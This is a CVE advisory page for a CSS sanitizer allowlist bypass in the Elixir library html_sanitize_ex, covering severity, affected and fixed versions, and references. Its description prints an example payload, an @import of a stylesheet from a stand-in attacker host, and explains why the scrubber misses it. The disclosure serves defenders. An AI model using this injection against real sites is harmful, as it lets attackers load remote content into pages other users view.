What’s Vulnerable › Vulnerabilities
CVE-2026-68747: CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
- Severity: medium (CVSS 6.1 v3.1)
- Exploited in the wild: not listed in CISA KEV
- EPSS: 0.4% probability of exploitation in the next 30 days
- Public exploit or detection template: none known
- Published: 2026-08-06 · updated 2026-10-24
- Weakness: CWE-74
Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Affected products
- rrrene html_sanitize_ex: from 0.3.1 before 1.5.4 — fixed in 1.5.4
How to fix
Upgrade to a fixed version: rrrene html_sanitize_ex 1.5.4. Check the vendor advisory for mitigations.
References
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7
- https://osv.dev/vulnerability/EEF-CVE-2026-68747
Get alerted when CVE-2026-68747 or the next vulnerability affects your stack